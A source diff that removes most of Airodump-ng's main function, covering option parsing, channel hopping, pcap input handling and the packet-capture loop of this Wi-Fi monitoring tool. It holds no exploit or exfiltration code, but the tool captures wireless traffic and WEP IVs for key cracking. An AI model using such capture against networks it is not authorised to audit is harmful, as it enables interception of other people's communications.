-	*/
-
-	fd_set rfds;
-
-	static struct option long_options[]
-		= {{"ht20", 0, 0, '2'},
-		   {"ht40-", 0, 0, '3'},
-		   {"ht40+", 0, 0, '5'},
-		   {"band", 1, 0, 'b'},
-		   {"beacon", 0, 0, 'e'},
-		   {"beacons", 0, 0, 'e'},
-		   {"cswitch", 1, 0, 's'},
-		   {"netmask", 1, 0, 'm'},
-		   {"bssid", 1, 0, 'd'},
-		   {"essid", 1, 0, 'N'},
-		   {"essid-regex", 1, 0, 'R'},
-		   {"channel", 1, 0, 'c'},
-		   {"gpsd", 0, 0, 'g'},
-		   {"ivs", 0, 0, 'i'},
-		   {"write", 1, 0, 'w'},
-		   {"encrypt", 1, 0, 't'},
-		   {"update", 1, 0, 'u'},
-		   {"berlin", 1, 0, 'B'},
-		   {"help", 0, 0, 'H'},
-		   {"nodecloak", 0, 0, 'D'},
-		   {"showack", 0, 0, 'A'},
-		   {"detect-anomaly", 0, 0, 'E'},
-		   {"output-format", 1, 0, 'o'},
-		   {"ignore-negative-one", 0, &G.ignore_negative_one, 1},
-		   {"manufacturer", 0, 0, 'M'},
-		   {"uptime", 0, 0, 'U'},
-		   {"write-interval", 1, 0, 'I'},
-		   {"wps", 0, 0, 'W'},
-		   {"background", 1, 0, 'K'},
-		   {0, 0, 0, 0}};
-
-	pid_t main_pid = getpid();
-
-#ifdef USE_GCRYPT
-// Register callback functions to ensure proper locking in the sensitive parts
-// of libgcrypt < 1.6.0
-#if GCRYPT_VERSION_NUMBER < 0x010600
-	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
-#endif
-	// Disable secure memory.
-	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
-	// Tell Libgcrypt that initialization has completed.
-	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-#endif
-	pthread_mutex_init(&(G.mx_print), NULL);
-	pthread_mutex_init(&(G.mx_sort), NULL);
-
-	textstyle(TEXT_RESET); //(TEXT_RESET, TEXT_BLACK, TEXT_WHITE);
-
-	/* initialize a bunch of variables */
-
-	srand(time(NULL));
-	memset(&G, 0, sizeof(G));
-
-	h80211 = NULL;
-	ivs_only = 0;
-	G.chanoption = 0;
-	G.freqoption = 0;
-	G.num_cards = 0;
-	fdh = 0;
-	fd_is_set = 0;
-	chan_count = 0;
-	time_slept = 0;
-	G.batt = NULL;
-	G.chswitch = 0;
-	valid_channel = 0;
-	G.usegpsd = 0;
-	G.channels = bg_chans;
-	G.one_beacon = 1;
-	G.singlechan = 0;
-	G.singlefreq = 0;
-	G.dump_prefix = NULL;
-	G.record_data = 0;
-	G.f_cap = NULL;
-	G.f_ivs = NULL;
-	G.f_txt = NULL;
-	G.f_kis = NULL;
-	G.f_kis_xml = NULL;
-	G.f_gps = NULL;
-	G.keyout = NULL;
-	G.f_xor = NULL;
-	G.sk_len = 0;
-	G.sk_len2 = 0;
-	G.sk_start = 0;
-	G.prefix = NULL;
-	G.f_encrypt = 0;
-	G.asso_client = 0;
-	G.f_essid = NULL;
-	G.f_essid_count = 0;
-	G.active_scan_sim = 0;
-	G.update_s = 0;
-	G.decloak = 1;
-	G.is_berlin = 0;
-	G.numaps = 0;
-	G.maxnumaps = 0;
-	G.berlin = 120;
-	G.show_ap = 1;
-	G.show_sta = 1;
-	G.show_ack = 0;
-	G.hide_known = 0;
-	G.maxsize_essid_seen = 5; // Initial value: length of "ESSID"
-	G.show_manufacturer = 0;
-	G.show_uptime = 0;
-	G.hopfreq = DEFAULT_HOPFREQ;
-	G.s_file = NULL;
-	G.s_iface = NULL;
-	G.f_cap_in = NULL;
-	G.detect_anomaly = 0;
-	G.airodump_start_time = NULL;
-	G.manufList = NULL;
-
-	G.output_format_pcap = 1;
-	G.output_format_csv = 1;
-	G.output_format_kismet_csv = 1;
-	G.output_format_kismet_netxml = 1;
-	G.file_write_interval = 5; // Write file every 5 seconds by default
-	G.maxsize_wps_seen = 6;
-	G.show_wps = 0;
-	G.background_mode = -1;
-#ifdef CONFIG_LIBNL
-	G.htval = CHANNEL_NO_HT;
-#endif
-#ifdef HAVE_PCRE
-	G.f_essid_regex = NULL;
-#endif
-
-	// Default selection.
-	resetSelection();
-
-	memset(G.sharedkey, '\x00', sizeof(G.sharedkey));
-	memset(G.message, '\x00', sizeof(G.message));
-	memset(&G.pfh_in, '\x00', sizeof(struct pcap_file_header));
-
-	gettimeofday(&tv0, NULL);
-
-	lt = localtime((time_t *) &tv0.tv_sec);
-
-	G.keyout = (char *) malloc(512);
-	memset(G.keyout, 0, 512);
-	snprintf(G.keyout,
-			 511,
-			 "keyout-%02d%02d-%02d%02d%02d.keys",
-			 lt->tm_mon + 1,
-			 lt->tm_mday,
-			 lt->tm_hour,
-			 lt->tm_min,
-			 lt->tm_sec);
-
-	for (i = 0; i < MAX_CARDS; i++)
-	{
-		arptype[i] = 0;
-		fd_raw[i] = -1;
-		G.channel[i] = 0;
-	}
-
-	memset(G.f_bssid, '\x00', 6);
-	memset(G.f_netmask, '\x00', 6);
-	memset(G.wpa_bssid, '\x00', 6);
-
-	/* check the arguments */
-
-	for (i = 0; long_options[i].name != NULL; i++)
-		;
-	num_opts = i;
-
-	for (i = 0; i < argc; i++) // go through all arguments
-	{
-		found = 0;
-		if (strlen(argv[i]) >= 3)
-		{
-			if (argv[i][0] == '-' && argv[i][1] != '-')
-			{
-				// we got a single dash followed by at least 2 chars
-				// lets check that against our long options to find errors
-				for (j = 0; j < num_opts; j++)
-				{
-					if (strcmp(argv[i] + 1, long_options[j].name) == 0)
-					{
-						// found long option after single dash
-						found = 1;
-						if (i > 1 && strcmp(argv[i - 1], "-") == 0)
-						{
-							// separated dashes?
-							printf("Notice: You specified \"%s %s\". Did you "
-								   "mean \"%s%s\" instead?\n",
-								   argv[i - 1],
-								   argv[i],
-								   argv[i - 1],
-								   argv[i]);
-						}
-						else
-						{
-							// forgot second dash?
-							printf("Notice: You specified \"%s\". Did you mean "
-								   "\"-%s\" instead?\n",
-								   argv[i],
-								   argv[i]);
-						}
-						break;
-					}
-				}
-				if (found)
-				{
-					sleep(3);
-					break;
-				}
-			}
-		}
-	}
-
-	do
-	{
-		option_index = 0;
-
-		option = getopt_long(argc,
-							 argv,
-							 "b:c:egiw:s:t:u:m:d:N:R:aHDB:Ahf:r:EC:o:x:MUI:WK:",
-							 long_options,
-							 &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case 0:
-
-				break;
-
-			case ':':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case 'K':
-			{
-				char * invalid_str = NULL;
-				long int bg_mode = strtol(optarg, &invalid_str, 10);
-				if ((invalid_str && *invalid_str != 0)
-					|| !(bg_mode == 0 || bg_mode == 1))
-				{
-					printf("Invalid background mode. Must be '0' or '1'\n");
-					exit(1);
-				}
-				G.background_mode = (char) bg_mode;
-				break;
-			}
-			case 'I':
-
-				if (!is_string_number(optarg))
-				{
-					printf("Error: Write interval is not a number (>0). "
-						   "Aborting.\n");
-					exit(1);
-				}
-
-				G.file_write_interval = atoi(optarg);
-
-				if (G.file_write_interval <= 0)
-				{
-					printf("Error: Write interval must be greater than 0. "
-						   "Aborting.\n");
-					exit(1);
-				}
-				break;
-
-			case 'E':
-				G.detect_anomaly = 1;
-				break;
-
-			case 'e':
-
-				G.one_beacon = 0;
-				break;
-
-			case 'a':
-
-				G.asso_client = 1;
-				break;
-
-			case 'A':
-
-				G.show_ack = 1;
-				break;
-
-			case 'h':
-
-				G.hide_known = 1;
-				break;
-
-			case 'D':
-
-				G.decloak = 0;
-				break;
-
-			case 'M':
-
-				G.show_manufacturer = 1;
-				break;
-
-			case 'U':
-				G.show_uptime = 1;
-				break;
-
-			case 'W':
-
-				G.show_wps = 1;
-				break;
-
-			case 'c':
-
-				if (G.channel[0] > 0 || G.chanoption == 1)
-				{
-					if (G.chanoption == 1)
-						printf("Notice: Channel range already given\n");
-					else
-						printf("Notice: Channel already given (%d)\n",
-							   G.channel[0]);
-					break;
-				}
-
-				G.channel[0] = getchannels(optarg);
-
-				if (G.channel[0] < 0) goto usage;
-
-				G.chanoption = 1;
-
-				if (G.channel[0] == 0)
-				{
-					G.channels = G.own_channels;
-					break;
-				}
-				G.channels = bg_chans;
-				break;
-
-			case 'C':
-
-				if (G.channel[0] > 0 || G.chanoption == 1)
-				{
-					if (G.chanoption == 1)
-						printf("Notice: Channel range already given\n");
-					else
-						printf("Notice: Channel already given (%d)\n",
-							   G.channel[0]);
-					break;
-				}
-
-				if (G.freqoption == 1)
-				{
-					printf("Notice: Frequency range already given\n");
-					break;
-				}
-
-				G.freqstring = optarg;
-
-				G.freqoption = 1;
-
-				break;
-
-			case 'b':
-
-				if (G.chanoption == 1 && option != 'c')
-				{
-					printf("Notice: Channel range already given\n");
-					break;
-				}
-				freq[0] = freq[1] = 0;
-
-				for (i = 0; i < (int) strlen(optarg); i++)
-				{
-					if (optarg[i] == 'a')
-						freq[1] = 1;
-					else if (optarg[i] == 'b' || optarg[i] == 'g')
-						freq[0] = 1;
-					else
-					{
-						printf("Error: invalid band (%c)\n", optarg[i]);
-						printf("\"%s --help\" for help.\n", argv[0]);
-						exit(1);
-					}
-				}
-
-				if (freq[1] + freq[0] == 2)
-					G.channels = abg_chans;
-				else
-				{
-					if (freq[1] == 1)
-						G.channels = a_chans;
-					else
-						G.channels = bg_chans;
-				}
-
-				break;
-
-			case 'i':
-
-				// Reset output format if it's the first time the option is
-				// specified
-				if (output_format_first_time)
-				{
-					output_format_first_time = 0;
-
-					G.output_format_pcap = 0;
-					G.output_format_csv = 0;
-					G.output_format_kismet_csv = 0;
-					G.output_format_kismet_netxml = 0;
-				}
-
-				if (G.output_format_pcap)
-				{
-					printf(usage,
-						   getVersion("Airodump-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-					fprintf(stderr,
-							"Invalid output format: IVS and PCAP "
-							"format cannot be used together.\n");
-					return (1);
-				}
-
-				ivs_only = 1;
-				break;
-
-			case 'g':
-
-				G.usegpsd = 1;
-				/*
-				if (inet_aton(optarg, &provis_addr.sin_addr) == 0 )
-				{
-					printf("Invalid IP address.\n");
-					return (1);
-				}
-				*/
-				break;
-
-			case 'w':
-
-				if (G.dump_prefix != NULL)
-				{
-					printf("Notice: dump prefix already given\n");
-					break;
-				}
-				/* Write prefix */
-				G.dump_prefix = optarg;
-				G.record_data = 1;
-				break;
-
-			case 'r':
-
-				if (G.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				G.s_file = optarg;
-				break;
-
-			case 's':
-
-				if (atoi(optarg) > 2)
-				{
-					goto usage;
-				}
-				if (G.chswitch != 0)
-				{
-					printf("Notice: switching method already given\n");
-					break;
-				}
-				G.chswitch = atoi(optarg);
-				break;
-
-			case 'u':
-
-				G.update_s = atoi(optarg);
-
-				/* If failed to parse or value <= 0, use default, 100ms */
-				if (G.update_s <= 0) G.update_s = REFRESH_RATE;
-
-				break;
-
-			case 'f':
-
-				G.hopfreq = atoi(optarg);
-
-				/* If failed to parse or value <= 0, use default, 100ms */
-				if (G.hopfreq <= 0) G.hopfreq = DEFAULT_HOPFREQ;
-
-				break;
-
-			case 'B':
-
-				G.is_berlin = 1;
-				G.berlin = atoi(optarg);
-
-				if (G.berlin <= 0) G.berlin = 120;
-
-				break;
-
-			case 'm':
-
-				if (memcmp(G.f_netmask, NULL_MAC, 6) != 0)
-				{
-					printf("Notice: netmask already given\n");
-					break;
-				}
-				if (getmac(optarg, 1, G.f_netmask) != 0)
-				{
-					printf("Notice: invalid netmask\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'd':
-
-				if (memcmp(G.f_bssid, NULL_MAC, 6) != 0)
-				{
-					printf("Notice: bssid already given\n");
-					break;
-				}
-				if (getmac(optarg, 1, G.f_bssid) != 0)
-				{
-					printf("Notice: invalid bssid\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-
-					return (1);
-				}
-				break;
-
-			case 'N':
-
-				G.f_essid_count++;
-				G.f_essid = (char **) realloc(G.f_essid,
-											  G.f_essid_count * sizeof(char *));
-				G.f_essid[G.f_essid_count - 1] = optarg;
-				break;
-
-			case 'R':
-
-#ifdef HAVE_PCRE
-				if (G.f_essid_regex != NULL)
-				{
-					printf("Error: ESSID regular expression already given. "
-						   "Aborting\n");
-					exit(1);
-				}
-
-				G.f_essid_regex
-					= pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);
-
-				if (G.f_essid_regex == NULL)
-				{
-					printf("Error: regular expression compilation failed at "
-						   "offset %d: %s; aborting\n",
-						   pcreerroffset,
-						   pcreerror);
-					exit(1);
-				}
-#else
-				printf("Error: Airodump-ng wasn't compiled with pcre support; "
-					   "aborting\n");
-#endif
-
-				break;
-
-			case 't':
-
-				set_encryption_filter(optarg);
-				break;
-
-			case 'o':
-
-				// Reset output format if it's the first time the option is
-				// specified
-				if (output_format_first_time)
-				{
-					output_format_first_time = 0;
-
-					G.output_format_pcap = 0;
-					G.output_format_csv = 0;
-					G.output_format_kismet_csv = 0;
-					G.output_format_kismet_netxml = 0;
-				}
-
-				// Parse the value
-				output_format_string = strtok(optarg, ",");
-				while (output_format_string != NULL)
-				{
-					if (strlen(output_format_string) != 0)
-					{
-						if (strncasecmp(output_format_string, "csv", 3) == 0
-							|| strncasecmp(output_format_string, "txt", 3) == 0)
-						{
-							G.output_format_csv = 1;
-						}
-						else if (strncasecmp(output_format_string, "pcap", 4)
-									 == 0
-								 || strncasecmp(output_format_string, "cap", 3)
-										== 0)
-						{
-							if (ivs_only)
-							{
-								printf(usage,
-									   getVersion("Airodump-ng",
-												  _MAJ,
-												  _MIN,
-												  _SUB_MIN,
-												  _REVISION,
-												  _BETA,
-												  _RC));
-								fprintf(stderr,
-										"Invalid output format: IVS "
-										"and PCAP format cannot be "
-										"used together.\n");
-								return (1);
-							}
-							G.output_format_pcap = 1;
-						}
-						else if (strncasecmp(output_format_string, "ivs", 3)
-								 == 0)
-						{
-							if (G.output_format_pcap)
-							{
-								printf(usage,
-									   getVersion("Airodump-ng",
-												  _MAJ,
-												  _MIN,
-												  _SUB_MIN,
-												  _REVISION,
-												  _BETA,
-												  _RC));
-								fprintf(stderr,
-										"Invalid output format: IVS "
-										"and PCAP format cannot be "
-										"used together.\n");
-								return (1);
-							}
-							ivs_only = 1;
-						}
-						else if (strncasecmp(output_format_string, "kismet", 6)
-								 == 0)
-						{
-							G.output_format_kismet_csv = 1;
-						}
-						else if (strncasecmp(output_format_string, "gps", 3)
-								 == 0)
-						{
-							G.usegpsd = 1;
-						}
-						else if (strncasecmp(output_format_string, "netxml", 6)
-									 == 0
-								 || strncasecmp(
-										output_format_string, "newcore", 7)
-										== 0
-								 || strncasecmp(
-										output_format_string, "kismet-nc", 9)
-										== 0
-								 || strncasecmp(
-										output_format_string, "kismet_nc", 9)
-										== 0
-								 || strncasecmp(output_format_string,
-												"kismet-newcore",
-												14)
-										== 0
-								 || strncasecmp(output_format_string,
-												"kismet_newcore",
-												14)
-										== 0)
-						{
-							G.output_format_kismet_netxml = 1;
-						}
-						else if (strncasecmp(output_format_string, "default", 6)
-								 == 0)
-						{
-							G.output_format_pcap = 1;
-							G.output_format_csv = 1;
-							G.output_format_kismet_csv = 1;
-							G.output_format_kismet_netxml = 1;
-						}
-						else if (strncasecmp(output_format_string, "none", 6)
-								 == 0)
-						{
-							G.output_format_pcap = 0;
-							G.output_format_csv = 0;
-							G.output_format_kismet_csv = 0;
-							G.output_format_kismet_netxml = 0;
-
-							G.usegpsd = 0;
-							ivs_only = 0;
-						}
-						else
-						{
-							// Display an error if it does not match any value
-							fprintf(stderr,
-									"Invalid output format: <%s>\n",
-									output_format_string);
-							exit(1);
-						}
-					}
-					output_format_string = strtok(NULL, ",");
-				}
-
-				break;
-
-			case 'H':
-
-				printf(usage,
-					   getVersion("Airodump-ng",
-								  _MAJ,
-								  _MIN,
-								  _SUB_MIN,
-								  _REVISION,
-								  _BETA,
-								  _RC));
-				return (1);
-
-			case 'x':
-
-				G.active_scan_sim = atoi(optarg);
-
-				if (G.active_scan_sim <= 0) G.active_scan_sim = 0;
-				break;
-
-			case '2':
-#ifndef CONFIG_LIBNL
-				printf("HT Channel unsupported\n");
-				return EXIT_FAILURE;
-#else
-				G.htval = CHANNEL_HT20;
-#endif
-				break;
-			case '3':
-#ifndef CONFIG_LIBNL
-				printf("HT Channel unsupported\n");
-				return EXIT_FAILURE;
-#else
-				G.htval = CHANNEL_HT40_MINUS;
-#endif
-				break;
-			case '5':
-#ifndef CONFIG_LIBNL
-				printf("HT Channel unsupported\n");
-				return EXIT_FAILURE;
-#else
-				G.htval = CHANNEL_HT40_PLUS;
-#endif
-				break;
-
-			default:
-				goto usage;
-		}
-	} while (1);
-
-	if (argc - optind != 1 && G.s_file == NULL)
-	{
-		if (argc == 1)
-		{
-		usage:
-			printf(usage,
-				   getVersion("Airodump-ng",
-							  _MAJ,
-							  _MIN,
-							  _SUB_MIN,
-							  _REVISION,
-							  _BETA,
-							  _RC));
-		}
-		if (argc - optind == 0)
-		{
-			printf("No interface specified.\n");
-		}
-		if (argc > 1)
-		{
-			printf("\"%s --help\" for help.\n", argv[0]);
-		}
-		return (1);
-	}
-
-	if (argc - optind == 1) G.s_iface = argv[argc - 1];
-
-	if ((memcmp(G.f_netmask, NULL_MAC, 6) != 0)
-		&& (memcmp(G.f_bssid, NULL_MAC, 6) == 0))
-	{
-		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	if (G.show_wps && G.show_manufacturer)
-		G.maxsize_essid_seen += G.maxsize_wps_seen;
-
-	if (G.s_iface != NULL)
-	{
-		/* initialize cards */
-		G.num_cards = init_cards(G.s_iface, iface, wi);
-
-		if (G.num_cards <= 0 || G.num_cards >= MAX_CARDS)
-		{
-			printf("Failed initializing wireless card(s): %s\n", G.s_iface);
-			return EXIT_FAILURE;
-		}
-
-		for (i = 0; i < G.num_cards; i++)
-		{
-			fd_raw[i] = wi_fd(wi[i]);
-			if (fd_raw[i] > fdh) fdh = fd_raw[i];
-		}
-
-		if (G.freqoption == 1 && G.freqstring != NULL) // use frequencies
-		{
-			detect_frequencies(wi[0]);
-			G.frequency[0] = getfrequencies(G.freqstring);
-			if (G.frequency[0] == -1)
-			{
-				printf("No valid frequency given.\n");
-				return (1);
-			}
-
-			//             printf("gonna rearrange\n");
-			rearrange_frequencies();
-			//             printf("finished rearranging\n");
-
-			freq_count = getfreqcount(0);
-
-			/* find the interface index */
-			/* start a child to hop between frequencies */
-
-			if (G.frequency[0] == 0)
-			{
-				unused = pipe(G.ch_pipe);
-				unused = pipe(G.cd_pipe);
-
-				signal(SIGUSR1, sighandler);
-
-				if (!fork())
-				{
-					/* reopen cards.  This way parent & child don't share
-					* resources for
-					* accessing the card (e.g. file descriptors) which may cause
-					* problems.  -sorbo
-					*/
-					for (i = 0; i < G.num_cards; i++)
-					{
-						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
-						ifnam[sizeof(ifnam) - 1] = 0;
-
-						wi_close(wi[i]);
-						wi[i] = wi_open(ifnam);
-						if (!wi[i])
-						{
-							printf("Can't reopen %s\n", ifnam);
-							exit(1);
-						}
-					}
-
-					/* Drop privileges */
-					if (setuid(getuid()) == -1)
-					{
-						perror("setuid");
-					}
-
-					frequency_hopper(wi, G.num_cards, freq_count, main_pid);
-					exit(1);
-				}
-			}
-			else
-			{
-				for (i = 0; i < G.num_cards; i++)
-				{
-					wi_set_freq(wi[i], G.frequency[0]);
-					G.frequency[i] = G.frequency[0];
-				}
-				G.singlefreq = 1;
-			}
-		}
-		else // use channels
-		{
-			chan_count = getchancount(0);
-
-			/* find the interface index */
-			/* start a child to hop between channels */
-
-			if (G.channel[0] == 0)
-			{
-				unused = pipe(G.ch_pipe);
-				unused = pipe(G.cd_pipe);
-
-				signal(SIGUSR1, sighandler);
-
-				if (!fork())
-				{
-					/* reopen cards.  This way parent & child don't share
-					* resources for
-					* accessing the card (e.g. file descriptors) which may cause
-					* problems.  -sorbo
-					*/
-					for (i = 0; i < G.num_cards; i++)
-					{
-						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
-						ifnam[sizeof(ifnam) - 1] = 0;
-
-						wi_close(wi[i]);
-						wi[i] = wi_open(ifnam);
-						if (!wi[i])
-						{
-							printf("Can't reopen %s\n", ifnam);
-							exit(1);
-						}
-					}
-
-					/* Drop privileges */
-					if (setuid(getuid()) == -1)
-					{
-						perror("setuid");
-					}
-
-					channel_hopper(wi, G.num_cards, chan_count, main_pid);
-					exit(1);
-				}
-			}
-			else
-			{
-				for (i = 0; i < G.num_cards; i++)
-				{
-#ifdef CONFIG_LIBNL
-					wi_set_ht_channel(wi[i], G.channel[0], G.htval);
-#else
-					wi_set_channel(wi[i], G.channel[0]);
-#endif
-					G.channel[i] = G.channel[0];
-				}
-				G.singlechan = 1;
-			}
-		}
-	}
-
-	/* Drop privileges */
-	if (setuid(getuid()) == -1)
-	{
-		perror("setuid");
-	}
-
-	/* check if there is an input file */
-	if (G.s_file != NULL)
-	{
-		if (!(G.f_cap_in = fopen(G.s_file, "rb")))
-		{
-			perror("open failed");
-			return (1);
-		}
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fread(&G.pfh_in, 1, n, G.f_cap_in) != (size_t) n)
-		{
-			perror("fread(pcap file header) failed");
-			return (1);
-		}
-
-		if (G.pfh_in.magic != TCPDUMP_MAGIC && G.pfh_in.magic != TCPDUMP_CIGAM)
-		{
-			fprintf(stderr,
-					"\"%s\" isn't a pcap file (expected "
-					"TCPDUMP_MAGIC).\n",
-					G.s_file);
-			return (1);
-		}
-
-		if (G.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(G.pfh_in.linktype);
-
-		if (G.pfh_in.linktype != LINKTYPE_IEEE802_11
-			&& G.pfh_in.linktype != LINKTYPE_PRISM_HEADER
-			&& G.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
-			&& G.pfh_in.linktype != LINKTYPE_PPI_HDR)
-		{
-			fprintf(stderr,
-					"Wrong linktype from pcap file header "
-					"(expected LINKTYPE_IEEE802_11) -\n"
-					"this doesn't look like a regular 802.11 "
-					"capture.\n");
-			return (1);
-		}
-	}
-
-	/* open or create the output files */
-
-	if (G.record_data)
-		if (dump_initialize(G.dump_prefix, ivs_only)) return (1);
-
-	signal(SIGINT, sighandler);
-	signal(SIGSEGV, sighandler);
-	signal(SIGTERM, sighandler);
-	signal(SIGWINCH, sighandler);
-
-	sighandler(SIGWINCH);
-
-	/* fill oui struct if ram is greater than 32 MB */
-	if (get_ram_size() > MIN_RAM_SIZE_LOAD_OUI_RAM)
-	{
-		G.manufList = load_oui_file();
-	}
-
-	/* start the GPS tracker */
-
-	if (G.usegpsd)
-	{
-		unused = pipe(G.gc_pipe);
-		signal(SIGUSR2, sighandler);
-
-		if (!fork())
-		{
-			gps_tracker(main_pid);
-			exit(1);
-		}
-
-		usleep(50000);
-		waitpid(-1, NULL, WNOHANG);
-	}
-
-	hide_cursor();
-	erase_display(2);
-
-	start_time = time(NULL);
-	tt1 = time(NULL);
-	tt2 = time(NULL);
-	tt3 = time(NULL);
-	gettimeofday(&tv3, NULL);
-	gettimeofday(&tv4, NULL);
-
-	G.batt = getBatteryString();
-
-	G.elapsed_time = (char *) calloc(1, 4);
-	if (G.elapsed_time == NULL)
-	{
-		perror("Error allocating memory");
-		return 1;
-	}
-	strncpy(G.elapsed_time, "0 s", 4);
-	G.elapsed_time[strlen(G.elapsed_time)] = 0;
-
-	/* Create start time string for kismet netxml file */
-	G.airodump_start_time = (char *) calloc(1, 1000 * sizeof(char));
-	strncpy(G.airodump_start_time, ctime(&start_time), 1000 - 1);
-	G.airodump_start_time[strlen(G.airodump_start_time) - 1]
-		= 0; // remove new line
-	G.airodump_start_time
-		= (char *) realloc(G.airodump_start_time,
-						   sizeof(char) * (strlen(G.airodump_start_time) + 1));
-
-	// Do not start the interactive mode input thread if running in the
-	// background
-	if (G.background_mode == -1) G.background_mode = is_background();
-
-	if (!G.background_mode
-		&& pthread_create(&(G.input_tid), NULL, (void *) input_thread, NULL)
-			   != 0)
-	{
-		perror("pthread_create failed");
-		return 1;
-	}
-
-	while (1)
-	{
-		if (G.do_exit)
-		{
-			break;
-		}
-
-		if (time(NULL) - tt1 >= G.file_write_interval)
-		{
-			/* update the text output files */
-
-			tt1 = time(NULL);
-			if (G.output_format_csv) dump_write_csv();
-			if (G.output_format_kismet_csv) dump_write_kismet_csv();
-			if (G.output_format_kismet_netxml) dump_write_kismet_netxml();
-		}
-
-		if (time(NULL) - tt2 > 5)
-		{
-			if (G.sort_by != SORT_BY_NOTHING)
-			{
-				/* sort the APs by power */
-				pthread_mutex_lock(&(G.mx_sort));
-				dump_sort();
-				pthread_mutex_unlock(&(G.mx_sort));
-			}
-
-			/* update the battery state */
-			free(G.batt);
-			G.batt = NULL;
-
-			tt2 = time(NULL);
-			G.batt = getBatteryString();
-
-			/* update elapsed time */
-
-			free(G.elapsed_time);
-			G.elapsed_time = NULL;
-			G.elapsed_time = getStringTimeFromSec(difftime(tt2, start_time));
-
-			/* flush the output files */
-
-			if (G.f_cap != NULL) fflush(G.f_cap);
-			if (G.f_ivs != NULL) fflush(G.f_ivs);
-		}
-
-		gettimeofday(&tv1, NULL);
-
-		cycle_time = 1000000UL * (tv1.tv_sec - tv3.tv_sec)
-					 + (tv1.tv_usec - tv3.tv_usec);
-
-		cycle_time2 = 1000000UL * (tv1.tv_sec - tv4.tv_sec)
-					  + (tv1.tv_usec - tv4.tv_usec);
-
-		if (G.active_scan_sim > 0 && cycle_time2 > G.active_scan_sim * 1000)
-		{
-			gettimeofday(&tv4, NULL);
-			send_probe_requests(wi, G.num_cards);
-		}
-
-		if (cycle_time > 500000)
-		{
-			gettimeofday(&tv3, NULL);
-			update_rx_quality();
-			if (G.s_iface != NULL)
-			{
-				check_monitor(wi, fd_raw, &fdh, G.num_cards);
-				if (G.singlechan) check_channel(wi, G.num_cards);
-				if (G.singlefreq) check_frequency(wi, G.num_cards);
-			}
-		}
-
-		if (G.s_file != NULL)
-		{
-			/* Read one packet */
-			n = sizeof(pkh);
-
-			if (fread(&pkh, n, 1, G.f_cap_in) != 1)
-			{
-				memset(G.message, '\x00', sizeof(G.message));
-				snprintf(G.message,
-						 sizeof(G.message),
-						 "][ Finished reading input file %s.\n",
-						 G.s_file);
-				G.s_file = NULL;
-				continue;
-			}
-
-			if (G.pfh_in.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			n = caplen = pkh.caplen;
-
-			memset(buffer, 0, sizeof(buffer));
-			h80211 = buffer;
-
-			if (n <= 0 || n > (int) sizeof(buffer))
-			{
-				memset(G.message, '\x00', sizeof(G.message));
-				snprintf(G.message,
-						 sizeof(G.message),
-						 "][ Finished reading input file %s.\n",
-						 G.s_file);
-				G.s_file = NULL;
-				continue;
-			}
-
-			if (fread(h80211, n, 1, G.f_cap_in) != 1)
-			{
-				memset(G.message, '\x00', sizeof(G.message));
-				snprintf(G.message,
-						 sizeof(G.message),
-						 "][ Finished reading input file %s.\n",
-						 G.s_file);
-				G.s_file = NULL;
-				continue;
-			}
-
-			if (G.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-					n = *(int *) (h80211 + 4);
-
-				if (n < 8 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (G.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
-				/* remove the radiotap header */
-
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (G.pfh_in.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			read_pkts++;
-
-			if (read_pkts % 10 == 0) usleep(1);
-		}
-		else if (G.s_iface != NULL)
-		{
-			/* capture one packet */
-
-			FD_ZERO(&rfds);
-			for (i = 0; i < G.num_cards; i++)
-			{
-				FD_SET(fd_raw[i], &rfds);
-			}
-
-			tv0.tv_sec = G.update_s;
-			tv0.tv_usec = (G.update_s == 0) ? REFRESH_RATE : 0;
-
-			gettimeofday(&tv1, NULL);
-
-			if (select(fdh + 1, &rfds, NULL, NULL, &tv0) < 0)
-			{
-				if (errno == EINTR)
-				{
-					gettimeofday(&tv2, NULL);
-
-					time_slept += 1000000UL * (tv2.tv_sec - tv1.tv_sec)
-								  + (tv2.tv_usec - tv1.tv_usec);
-
-					continue;
-				}
-				perror("select failed");
-
-				/* Restore terminal */
-				show_cursor();
-
-				return (1);
-			}
-		}
